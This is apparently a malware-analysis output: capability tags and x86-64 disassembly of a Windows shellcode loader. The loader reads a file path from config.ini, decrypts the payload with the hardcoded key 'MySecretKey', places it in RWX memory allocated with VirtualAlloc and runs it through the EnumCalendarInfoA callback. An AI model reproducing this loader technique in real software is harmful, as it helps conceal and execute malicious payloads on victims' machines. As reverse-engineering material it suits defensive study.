Function at 0x140001090
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x198
mov rax, qword [0x140024108]
xor rax, rsp
mov qword [rsp + 0x180], rax
lea rax, str.config.ini
mov qword [rsp + 0x50], rax
lea rdx, [0x14002400c]
mov rcx, qword [rsp + 0x50]
call fcn.1400056c8
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400010f1
mov rdx, qword [rsp + 0x50]
lea rcx, str.Error_opening_configuration_file:__s_n
call fcn.1400013e0
mov eax, 1
jmp 0x14000135e
mov r8, qword [rsp + 0x40]
mov edx, 0x100
lea rcx, [rsp + 0x80]
call fcn.140005604
test rax, rax
jne 0x14000112d
lea rcx, str.Error_reading_target_file_path_n
call fcn.1400013e0
mov rcx, qword [rsp + 0x40]
call fcn.1400053f8
mov eax, 1
jmp 0x14000135e
lea rcx, [rsp + 0x80]
call fcn.140005000
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
movsx eax, byte [rsp + rax + 0x7f]
cmp eax, 0xa
jne 0x14000117a
mov rax, qword [rsp + 0x58]
dec rax
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0x100
jae 0x140001168
jmp 0x14000116d
call fcn.140001540
mov rax, qword [rsp + 0x60]
mov byte [rsp + rax + 0x80], 0
mov rcx, qword [rsp + 0x40]
call fcn.1400053f8
lea rdx, [0x140024058]
lea rcx, [rsp + 0x80]
call fcn.1400056c8
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400011c3
lea rdx, [rsp + 0x80]
lea rcx, str.Error_opening_encrypted_file:__s_n
call fcn.1400013e0
mov eax, 1
jmp 0x14000135e
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.140005c6c
mov rcx, qword [rsp + 0x20]
call fcn.140006228
cdqe
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.140005c6c
mov rcx, qword [rsp + 0x28]
call fcn.1400050bc
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000122c
lea rcx, [0x140024088]
call fcn.1400013e0
mov rcx, qword [rsp + 0x20]
call fcn.1400053f8
mov eax, 1
jmp 0x14000135e
mov r9, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.140005934
mov rcx, qword [rsp + 0x20]
call fcn.1400053f8
lea rax, [rsp + 0x70]
lea rcx, str.MySecretKey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x68], 0xb
mov r9, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call section..text
mov rcx, qword [rsp + 0x28]
call fcn.1400050bc
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1400012c1
lea rcx, str.Memory_allocation_error_n
call fcn.1400013e0
mov rcx, qword [rsp + 0x30]
call fcn.1400050a8
mov eax, 1
jmp 0x14000135e
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call fcn.140002200
mov rcx, qword [rsp + 0x30]
call fcn.1400050a8
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001322
lea rcx, str.Memory_allocation_for_shellcode_failed_n
call fcn.1400013e0
mov rcx, qword [rsp + 0x38]
call fcn.1400050a8
mov eax, 1
jmp 0x14000135e
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call fcn.140002200
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov rcx, qword [rsp + 0x38]
call fcn.1400050a8
xor eax, eax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140001760
add rsp, 0x198
pop rdi
pop rsi
ret